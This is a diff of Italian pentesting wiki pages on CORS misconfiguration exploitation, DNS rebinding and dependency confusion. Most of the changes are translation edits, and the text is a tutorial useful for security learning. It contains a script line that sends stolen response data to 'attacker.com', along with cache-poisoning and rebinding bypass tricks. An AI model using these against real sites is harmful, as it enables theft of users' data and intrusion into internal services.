Questa intestazione è **emessa da un server** in risposta a una richiesta di risorsa tra domini avviata da un sito web, con il browser che aggiunge automaticamente un'intestazione `Origin`.
|
||||
|
||||
### Intestazione `Access-Control-Allow-Credentials`
|
||||
|
||||
|
@ -74,11 +78,11 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
### Comprensione delle Richieste di Pre-volo nella Comunicazione tra Domini
|
||||
|
||||
Quando si inizia una richiesta tra domini in condizioni specifiche, come l'utilizzo di un **metodo HTTP non standard** (qualsiasi cosa diversa da HEAD, GET, POST), l'introduzione di nuovi **intestazioni**, o l'impiego di un valore speciale per l'intestazione **Content-Type**, potrebbe essere necessaria una richiesta di pre-volo. Questa richiesta preliminare, sfruttando il metodo **`OPTIONS`**, serve per informare il server sulle intenzioni della prossima richiesta tra origini diverse, inclusi i metodi HTTP e le intestazioni che intende utilizzare.
|
||||
Quando si avvia una richiesta tra domini in condizioni specifiche, come l'utilizzo di un **metodo HTTP non standard** (qualsiasi cosa diversa da HEAD, GET, POST), l'introduzione di nuovi **intestazioni**, o l'impiego di un valore speciale dell'intestazione **Content-Type**, potrebbe essere necessaria una richiesta di pre-volo. Questa richiesta preliminare, sfruttando il metodo **`OPTIONS`**, serve per informare il server sulle intenzioni della prossima richiesta tra origini diverse, inclusi i metodi HTTP e le intestazioni che intende utilizzare.
|
||||
|
||||
Il protocollo **Cross-Origin Resource Sharing (CORS)** impone questo controllo di pre-volo per determinare la fattibilità dell'operazione tra origini diverse richiesta verificando i metodi consentiti, le intestazioni e l'affidabilità dell'origine. Per una comprensione dettagliata delle condizioni che evitano la necessità di una richiesta di pre-volo, fare riferimento alla guida esaustiva fornita da [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
È fondamentale notare che **l'assenza di una richiesta di pre-volo non annulla il requisito che la risposta contenga le intestazioni di autorizzazione**. Senza queste intestazioni, il browser non è in grado di elaborare la risposta dalla richiesta tra origini diverse.
|
||||
È fondamentale notare che **l'assenza di una richiesta di pre-volo non annulla il requisito che la risposta contenga le intestazioni di autorizzazione**. Senza queste intestazioni, il browser è incapace di elaborare la risposta dalla richiesta tra origini diverse.
|
||||
|
||||
Considera la seguente illustrazione di una richiesta di pre-volo mirata all'utilizzo del metodo `PUT` insieme a un'intestazione personalizzata chiamata `Special-Request-Header`:
|
||||
```
|
||||
|
@ -104,9 +108,9 @@ Access-Control-Max-Age: 240
|
|||
* **`Access-Control-Max-Age`**: Questo header indica per quanto tempo i risultati di una richiesta di pre-volo possono essere memorizzati nella cache. Il server imposta il tempo massimo, in secondi, che le informazioni restituite da una richiesta di pre-volo possono essere riutilizzate.
|
||||
* **`Access-Control-Request-Headers`**: Utilizzato nelle richieste di pre-volo, questo header è impostato dal client per informare il server su quali intestazioni HTTP il client desidera utilizzare nella richiesta effettiva.
|
||||
* **`Access-Control-Request-Method`**: Questo header, anch'esso utilizzato nelle richieste di pre-volo, è impostato dal client per indicare quale metodo HTTP verrà utilizzato nella richiesta effettiva.
|
||||
* **`Origin`**: Questo header è impostato automaticamente dal browser e indica l'origine della richiesta tra origini diverse. Viene utilizzato dal server per valutare se la richiesta in arrivo dovrebbe essere consentita o negata in base alla politica CORS.
|
||||
* **`Origin`**: Questo header è impostato automaticamente dal browser e indica l'origine della richiesta cross-origin. Viene utilizzato dal server per valutare se la richiesta in arrivo dovrebbe essere consentita o negata in base alla politica CORS.
|
||||
|
||||
Nota che di solito (a seconda del tipo di contenuto e delle intestazioni impostate) in una richiesta **GET/POST non viene inviata alcuna richiesta di pre-volo** (la richiesta viene inviata **direttamente**), ma se si desidera accedere alle **intestazioni/corpo della risposta**, deve contenere un'intestazione _Access-Control-Allow-Origin_ che lo consenta.\
|
||||
Nota che di solito (a seconda del tipo di contenuto e delle intestazioni impostate) in una richiesta **GET/POST non viene inviata alcuna richiesta di pre-volo** (la richiesta viene inviata **direttamente**), ma se si desidera accedere alle **intestazioni/corpo della risposta**, deve contenere un'intestazione _Access-Control-Allow-Origin_ che lo permetta.\
|
||||
**Pertanto, CORS non protegge contro CSRF (ma può essere utile).**
|
||||
|
||||
### **Richiesta di pre-volo delle richieste di rete locale**
|
||||
|
@ -133,15 +137,15 @@ Si noti che l'IP **0.0.0.0** di Linux funziona per **bypassare** questi requisit
|
|||
|
||||
## Configurazioni errate sfruttabili
|
||||
|
||||
È stato osservato che l'impostazione di `Access-Control-Allow-Credentials` su **`true`** è un prerequisito per la maggior parte degli **attacchi reali**. Questa impostazione consente al browser di inviare credenziali e leggere la risposta, migliorando l'efficacia dell'attacco. Senza di essa, il vantaggio di far emettere una richiesta a un browser anziché farlo da soli diminuisce, poiché diventa impraticabile sfruttare i cookie di un utente.
|
||||
È stato osservato che l'impostazione di `Access-Control-Allow-Credentials` su **`true`** è un prerequisito per la maggior parte degli **attacchi reali**. Questa impostazione consente al browser di inviare credenziali e leggere la risposta, aumentando l'efficacia dell'attacco. Senza di essa, il vantaggio di far emettere una richiesta a un browser anziché farlo da soli diminuisce, poiché diventa impraticabile sfruttare i cookie di un utente.
|
||||
|
||||
### Eccezione: Sfruttare la posizione di rete come autenticazione
|
||||
|
||||
Esiste un'eccezione in cui la posizione di rete della vittima agisce come una forma di autenticazione. Ciò consente al browser della vittima di essere utilizzato come proxy, aggirando l'autenticazione basata sull'IP per accedere alle applicazioni di intranet. Questo metodo presenta somiglianze nell'impatto con il reindirizzamento DNS ma è più semplice da sfruttare.
|
||||
Esiste un'eccezione in cui la posizione di rete della vittima funge da forma di autenticazione. Ciò consente al browser della vittima di essere utilizzato come proxy, aggirando l'autenticazione basata sull'IP per accedere alle applicazioni di intranet. Questo metodo presenta somiglianze nell'impatto con il reindirizzamento DNS ma è più semplice da sfruttare.
|
||||
|
||||
### Riflessione di `Origin` in `Access-Control-Allow-Origin`
|
||||
|
||||
Lo scenario reale in cui il valore dell'intestazione `Origin` è riflesso in `Access-Control-Allow-Origin` è teoricamente improbabile a causa delle restrizioni sulla combinazione di queste intestazioni. Tuttavia, gli sviluppatori che desiderano abilitare CORS per più URL possono generare dinamicamente l'intestazione `Access-Control-Allow-Origin` copiando il valore dell'intestazione `Origin`. Questo approccio può introdurre vulnerabilità, in particolare quando un attaccante utilizza un dominio con un nome progettato per apparire legittimo, ingannando così la logica di convalida.
|
||||
Lo scenario del mondo reale in cui il valore dell'intestazione `Origin` è riflesso in `Access-Control-Allow-Origin` è teoricamente improbabile a causa delle restrizioni sulla combinazione di queste intestazioni. Tuttavia, gli sviluppatori che desiderano abilitare CORS per più URL possono generare dinamicamente l'intestazione `Access-Control-Allow-Origin` copiando il valore dell'intestazione `Origin`. Questo approccio può introdurre vulnerabilità, in particolare quando un attaccante utilizza un dominio con un nome progettato per apparire legittimo, ingannando così la logica di convalida.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -184,21 +188,21 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
```
|
||||
### Tecniche di Bypass delle Espressioni Regolari
|
||||
|
||||
Quando ci si trova di fronte a un elenco di dominio whitelist, è cruciale testare le opportunità di bypass, come ad esempio aggiungere il dominio dell'attaccante a un dominio in whitelist o sfruttare vulnerabilità di subdomain takeover. Inoltre, le espressioni regolari utilizzate per la convalida del dominio potrebbero trascurare le sfumature nelle convenzioni di denominazione dei domini, presentando ulteriori opportunità di bypass.
|
||||
Quando ci si imbatte in una whitelist di dominio, è cruciale testare le opportunità di bypass, come ad esempio aggiungere il dominio dell'attaccante a un dominio in whitelist o sfruttare vulnerabilità di subdomain takeover. Inoltre, le espressioni regolari utilizzate per la convalida del dominio potrebbero trascurare le sfumature nelle convenzioni di denominazione dei domini, presentando ulteriori opportunità di bypass.
|
||||
|
||||
### Bypass delle Espressioni Regolari Avanzate
|
||||
### Bypass Avanzati delle Espressioni Regolari
|
||||
|
||||
I pattern Regex si concentrano tipicamente su caratteri alfanumerici, punto (.), e trattino (-), trascurando altre possibilità. Ad esempio, un nome di dominio creato per includere caratteri interpretati in modo diverso dai browser e dai pattern Regex può eludere i controlli di sicurezza. Il modo in cui Safari, Chrome e Firefox gestiscono i caratteri di sottodomini sottolinea come tali discrepanze possano essere sfruttate per aggirare la logica di convalida del dominio.
|
||||
I pattern Regex di solito si concentrano su caratteri alfanumerici, punto (.), e trattino (-), trascurando altre possibilità. Ad esempio, un nome di dominio creato per includere caratteri interpretati in modo diverso dai browser e dai pattern Regex può eludere i controlli di sicurezza. Il modo in cui Safari, Chrome e Firefox gestiscono i caratteri di sottodomini sottolinea come tali discrepanze possano essere sfruttate per aggirare la logica di convalida del dominio.
|
||||
|
||||
**Per ulteriori informazioni e impostazioni su questo controllo di bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **e** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
|
||||
|
||||
### Da XSS all'interno di un sottodominio
|
||||
|
||||
Spesso gli sviluppatori implementano meccanismi difensivi per proteggersi dall'exploit di CORS attraverso l'elenco bianco dei domini autorizzati a richiedere informazioni. Nonostante queste precauzioni, la sicurezza del sistema non è infallibile. La presenza anche di un singolo sottodominio vulnerabile all'interno dei domini in whitelist può aprire la porta all'exploit di CORS attraverso altre vulnerabilità, come XSS (Cross-Site Scripting).
|
||||
Spesso gli sviluppatori implementano meccanismi difensivi per proteggersi dall'exploit di CORS mediante l'aggiunta in whitelist di domini autorizzati a richiedere informazioni. Nonostante queste precauzioni, la sicurezza del sistema non è infallibile. La presenza anche di un singolo sottodominio vulnerabile all'interno dei domini in whitelist può aprire la porta all'exploit di CORS attraverso altre vulnerabilità, come XSS (Cross-Site Scripting).
|
||||
|
||||
Per illustrare, consideriamo lo scenario in cui un dominio, `requester.com`, è in whitelist per accedere alle risorse di un altro dominio, `provider.com`. La configurazione lato server potrebbe assomigliare a qualcosa del genere:
|
||||
Per illustrare, consideriamo lo scenario in cui un dominio, `requester.com`, è in whitelist per accedere a risorse da un altro dominio, `provider.com`. La configurazione lato server potrebbe assomigliare a questa:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -225,7 +229,7 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Mentre sfruttare direttamente questa vulnerabilità facendo inviare un'intestazione malformata da un browser web non è fattibile, una richiesta articolata può essere generata manualmente utilizzando strumenti come Burp Suite. Questo metodo potrebbe portare una cache lato server a salvare la risposta e a servirla involontariamente ad altri. Il payload articolato mira a modificare il set di caratteri della pagina in UTF-7, una codifica dei caratteri spesso associata a vulnerabilità XSS a causa della sua capacità di codificare i caratteri in modo che possano essere eseguiti come script in determinati contesti.
|
||||
Mentre sfruttare direttamente questa vulnerabilità facendo inviare al browser web un'intestazione malformata non è fattibile, una richiesta articolata può essere generata manualmente utilizzando strumenti come Burp Suite. Questo metodo potrebbe portare una cache lato server a salvare la risposta e a servirla involontariamente ad altri. Il payload articolato mira a modificare il set di caratteri della pagina in UTF-7, una codifica dei caratteri spesso associata a vulnerabilità XSS a causa della sua capacità di codificare i caratteri in modo che possano essere eseguiti come script in determinati contesti.
|
||||
|
||||
Per ulteriori informazioni sulle vulnerabilità XSS memorizzate, consulta [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
|
@ -239,7 +243,7 @@ In questo scenario, viene osservata un'istanza di una pagina web che riflette i
|
|||
|
||||
Le politiche di Cross-Origin Resource Sharing (CORS) consentono l'invio di intestazioni personalizzate. Tuttavia, senza che la risposta venga renderizzata direttamente dal browser a causa delle restrizioni CORS, l'utilità di tale iniezione potrebbe sembrare limitata. Il punto critico sorge quando si considera il comportamento della cache del browser. Se l'intestazione `Vary: Origin` non è specificata, diventa possibile che la risposta dannosa venga memorizzata nella cache del browser. Successivamente, questa risposta memorizzata potrebbe essere renderizzata direttamente durante la navigazione all'URL, eludendo la necessità di un rendering diretto alla richiesta iniziale. Questo meccanismo potenzia l'affidabilità dell'attacco sfruttando la cache lato client.
|
||||
|
||||
Per illustrare questo attacco, viene fornito un esempio di JavaScript, progettato per essere eseguito nell'ambiente di una pagina web, ad esempio attraverso un JSFiddle. Questo script esegue un'azione semplice: invia una richiesta a un URL specificato con un'intestazione personalizzata contenente il JavaScript dannoso. Al termine con successo della richiesta, tenta di navigare all'URL di destinazione, potenzialmente attivando l'esecuzione dello script iniettato se la risposta è stata memorizzata senza una gestione adeguata dell'intestazione `Vary: Origin`.
|
||||
Per illustrare questo attacco, viene fornito un esempio di JavaScript, progettato per essere eseguito nell'ambiente di una pagina web, ad esempio tramite un JSFiddle. Questo script esegue un'azione semplice: invia una richiesta a un URL specificato con un'intestazione personalizzata contenente il JavaScript dannoso. Al termine con successo della richiesta, tenta di navigare all'URL di destinazione, potenzialmente attivando l'esecuzione dello script iniettato se la risposta è stata memorizzata senza una gestione adeguata dell'intestazione `Vary: Origin`.
|
||||
|
||||
Ecco una sintesi del JavaScript utilizzato per eseguire questo attacco:
|
||||
```html
|
||||
|
@ -257,28 +261,28 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI, noto anche come Inclusione di Script tra Siti, è un tipo di vulnerabilità che sfrutta il fatto che la Politica della Stessa Origine (SOP) non si applica quando si includono risorse utilizzando il tag script. Questo perché gli script devono poter essere inclusi da domini diversi. Questa vulnerabilità consente a un attaccante di accedere e leggere qualsiasi contenuto incluso utilizzando il tag script.
|
||||
XSSI, noto anche come Inclusione di Script da Siti Incrociati, è un tipo di vulnerabilità che sfrutta il fatto che la Politica della Stessa Origine (SOP) non si applica quando si includono risorse utilizzando il tag script. Questo perché gli script devono poter essere inclusi da domini diversi. Questa vulnerabilità consente a un attaccante di accedere e leggere qualsiasi contenuto incluso utilizzando il tag script.
|
||||
|
||||
Questa vulnerabilità diventa particolarmente significativa quando si tratta di JavaScript dinamico o JSONP (JSON con Padding), specialmente quando vengono utilizzate informazioni di autorità ambientale come i cookie per l'autenticazione. Quando si richiede una risorsa da un host diverso, i cookie sono inclusi, rendendoli accessibili all'attaccante.
|
||||
|
||||
Per comprendere meglio e mitigare questa vulnerabilità, è possibile utilizzare il plugin BurpSuite disponibile su [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Questo plugin può aiutare a identificare e affrontare potenziali vulnerabilità XSSI nelle tue applicazioni web.
|
||||
Per comprendere meglio e mitigare questa vulnerabilità, è possibile utilizzare il plugin BurpSuite disponibile su [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Questo plugin può aiutare a identificare e affrontare potenziali vulnerabilità XSSI nelle vostre applicazioni web.
|
||||
|
||||
[**Leggi di più sui diversi tipi di XSSI e su come sfruttarli qui.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Prova ad aggiungere un **parametro `callback`** nella richiesta. Forse la pagina è stata preparata per inviare i dati come JSONP. In tal caso, la pagina invierà i dati con `Content-Type: application/javascript`, il che bypasserà la politica CORS.
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
![](<../.gitbook/assets/image (853).png>)
|
||||
|
||||
### Bypass Facile (inutile?)
|
||||
|
||||
Un modo per bypassare la restrizione di `Access-Control-Allow-Origin` è richiedere a un'applicazione web di effettuare una richiesta per conto tuo e inviare la risposta. Tuttavia, in questo scenario, le credenziali della vittima finale non verranno inviate poiché la richiesta viene effettuata a un dominio diverso.
|
||||
Un modo per bypassare la restrizione `Access-Control-Allow-Origin` è richiedere a un'applicazione web di effettuare una richiesta per conto tuo e inviare la risposta. Tuttavia, in questo scenario, le credenziali della vittima finale non verranno inviate poiché la richiesta viene fatta a un dominio diverso.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Questo strumento fornisce un proxy che inoltra la tua richiesta insieme ai suoi header, falsificando anche l'header di Origine per corrispondere al dominio richiesto. Questo bypassa efficacemente la politica CORS. Ecco un esempio di utilizzo con XMLHttpRequest:
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Questo strumento fornisce un proxy che inoltra la tua richiesta insieme ai suoi header, falsificando anche l'header Origin per corrispondere al dominio richiesto. Questo bypassa efficacemente la politica CORS. Ecco un esempio di utilizzo con XMLHttpRequest:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Questo strumento offre un approccio alternativo al proxy delle richieste. Invece di passare la tua richiesta così com'è, il server effettua la propria richiesta con i parametri specificati.
|
||||
|
||||
### Bypass Iframe + Popup
|
||||
|
||||
Puoi **bypassare i controlli CORS** come `e.origin === window.origin` **creando un iframe** e **da esso aprendo una nuova finestra**. Maggiori informazioni nella seguente pagina:
|
||||
È possibile **bypassare i controlli CORS** come `e.origin === window.origin` **creando un iframe** e **da esso aprendo una nuova finestra**. Maggiori informazioni nella seguente pagina:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -289,9 +293,9 @@ Puoi **bypassare i controlli CORS** come `e.origin === window.origin` **creando
|
|||
Il DNS rebinding tramite TTL è una tecnica utilizzata per bypassare determinate misure di sicurezza manipolando i record DNS. Ecco come funziona:
|
||||
|
||||
1. L'attaccante crea una pagina web e fa accedere la vittima.
|
||||
2. L'attaccante cambia quindi il DNS (IP) del proprio dominio per puntare alla pagina web della vittima.
|
||||
2. L'attaccante cambia quindi il DNS (IP) del proprio dominio in modo che punti alla pagina web della vittima.
|
||||
3. Il browser della vittima memorizza nella cache la risposta DNS, che potrebbe avere un valore TTL (Time to Live) che indica per quanto tempo il record DNS deve essere considerato valido.
|
||||
4. Quando scade il TTL, il browser della vittima effettua una nuova richiesta DNS, consentendo all'attaccante di eseguire codice JavaScript sulla pagina della vittima.
|
||||
4. Quando il TTL scade, il browser della vittima effettua una nuova richiesta DNS, consentendo all'attaccante di eseguire codice JavaScript sulla pagina della vittima.
|
||||
5. Mantenendo il controllo sull'IP della vittima, l'attaccante può raccogliere informazioni dalla vittima senza inviare alcun cookie al server della vittima.
|
||||
|
||||
È importante notare che i browser hanno meccanismi di caching che possono impedire un abuso immediato di questa tecnica, anche con valori TTL bassi.
|
||||
|
@ -302,7 +306,7 @@ Se hai bisogno di un modo rapido per abusare del DNS rebinding, puoi utilizzare
|
|||
|
||||
Per eseguire il proprio server DNS rebinding, puoi utilizzare strumenti come **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Questo comporta l'esposizione della tua porta locale 53/udp, la creazione di un record A che vi punti (ad esempio, ns.example.com) e la creazione di un record NS che punti al sottodominio A creato in precedenza (ad esempio, ns.example.com). Qualsiasi sottodominio del sottodominio ns.example.com verrà quindi risolto dal tuo host.
|
||||
|
||||
Puoi esplorare anche un server in esecuzione pubblicamente su [http://rebind.it/singularity.html](http://rebind.it/singularity.html) per una maggiore comprensione e sperimentazione.
|
||||
Puoi anche esplorare un server in esecuzione pubblica su [http://rebind.it/singularity.html](http://rebind.it/singularity.html) per una maggiore comprensione e sperimentazione.
|
||||
|
||||
### DNS Rebinding tramite **Cache DNS**
|
||||
|
||||
|
@ -318,10 +322,10 @@ Un altro modo per bypassare la difesa della cache è utilizzare più indirizzi I
|
|||
Questa tecnica sfrutta il comportamento dei browser quando vengono forniti più indirizzi IP per un dominio. Controllando strategicamente le risposte e manipolando la scelta dell'indirizzo IP del browser, un attaccante può sfruttare la SOP e accedere alle informazioni della vittima.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nota che per accedere a localhost dovresti provare a reindirizzare a **127.0.0.1** in Windows e a **0.0.0.0** in Linux.\
|
||||
Nota che per accedere a localhost dovresti provare a reindirizzare **127.0.0.1** in Windows e **0.0.0.0** in Linux.\
|
||||
Provider come godaddy o cloudflare non mi hanno permesso di utilizzare l'IP 0.0.0.0, ma AWS route53 mi ha permesso di creare un record A con 2 IP, uno dei quali "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
Per ulteriori informazioni puoi consultare [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
|
@ -329,7 +333,7 @@ Per ulteriori informazioni puoi consultare [https://unit42.paloaltonetworks.com/
|
|||
|
||||
* Se **gli IP interni non sono consentiti**, potrebbero **aver dimenticato di vietare 0.0.0.0** (funziona su Linux e Mac)
|
||||
* Se **gli IP interni non sono consentiti**, rispondi con un **CNAME** a **localhost** (funziona su Linux e Mac)
|
||||
* Se **gli IP interni non sono consentiti** come risposte DNS, è possibile rispondere con **CNAME a servizi interni** come ad esempio www.corporate.internal.
|
||||
* Se **gli IP interni non sono consentiti** come risposte DNS, è possibile rispondere con **CNAME a servizi interni** come www.corporate.internal.
|
||||
|
||||
### Armaizzati il DNS Rebidding
|
||||
|
||||
|
@ -337,7 +341,7 @@ Puoi trovare ulteriori informazioni sulle tecniche di bypass precedenti e su com
|
|||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) è uno strumento per eseguire attacchi di [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Include i componenti necessari per rilegare l'indirizzo IP del nome DNS del server di attacco all'indirizzo IP della macchina di destinazione e per servire payload di attacco per sfruttare software vulnerabili sulla macchina di destinazione.
|
||||
|
||||
### Protezione Reale contro il DNS Rebinding
|
||||
### Vera Protezione contro il DNS Rebinding
|
||||
|
||||
* Utilizzare TLS nei servizi interni
|
||||
* Richiedere autenticazione per accedere ai dati
|
||||
|
@ -346,7 +350,7 @@ Puoi trovare ulteriori informazioni sulle tecniche di bypass precedenti e su com
|
|||
|
||||
## **Strumenti**
|
||||
|
||||
**Fuzz possibili misconfigurazioni nelle politiche CORS**
|
||||
**Fuzz possibili configurazioni errate nelle politiche CORS**
|
||||
|
||||
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
|
@ -367,16 +371,21 @@ Puoi trovare ulteriori informazioni sulle tecniche di bypass precedenti e su com
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,28 @@
|
|||
# Dependency Confusion
|
||||
# Confusione delle Dipendenze
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo di hacktricks](https://github.com/carlospolop/hacktricks) e al [repo di hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In sintesi, una vulnerabilità di dependency confusion si verifica quando un progetto utilizza una libreria con un nome **scritto male**, **inesistente** o con una **versione non specificata** e il repository di dipendenze utilizzato consente di **ottenere versioni aggiornate da repository pubblici**.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
* **Scritto male**: Importa **`reqests`** invece di `requests`
|
||||
## Informazioni di Base
|
||||
|
||||
In sintesi, una vulnerabilità di confusione delle dipendenze si verifica quando un progetto utilizza una libreria con un nome **sbagliato**, **inesistente** o con una **versione non specificata** e il repository delle dipendenze utilizzate consente di **raccogliere versioni aggiornate da repository pubblici**.
|
||||
|
||||
* **Sbagliato**: Importa **`reqests`** invece di `requests`
|
||||
* **Inesistente**: Importa `company-logging`, una libreria interna che **non esiste più**
|
||||
* **Versione non specificata**: Importa una libreria **interna esistente** `company-requests`, ma il repository controlla **repository pubblici** per vedere se ci sono **versioni più recenti**.
|
||||
* **Versione non specificata**: Importa una libreria **interna esistente** `company-requests`, ma il repository controlla **repository pubblici** per vedere se ci sono **versioni superiori**.
|
||||
|
||||
## Sfruttamento
|
||||
|
||||
|
@ -26,39 +30,43 @@ In sintesi, una vulnerabilità di dependency confusion si verifica quando un pro
|
|||
In tutti i casi, l'attaccante deve solo pubblicare un **pacchetto dannoso con il nome** delle librerie utilizzate dall'azienda vittima.
|
||||
{% endhint %}
|
||||
|
||||
### Scritto male e inesistente
|
||||
### Sbagliato & Inesistente
|
||||
|
||||
Se la tua azienda sta cercando di **importare una libreria che non è interna**, è molto probabile che il repository delle librerie la cerchi in **repository pubblici**. Se un attaccante l'ha creato, è molto probabile che il tuo codice e le macchine in esecuzione siano compromesse.
|
||||
Se la tua azienda sta cercando di **importare una libreria che non è interna**, è molto probabile che il repository delle librerie la stia cercando in **repository pubblici**. Se un attaccante l'ha creato, il tuo codice e le macchine in esecuzione saranno molto probabilmente compromessi.
|
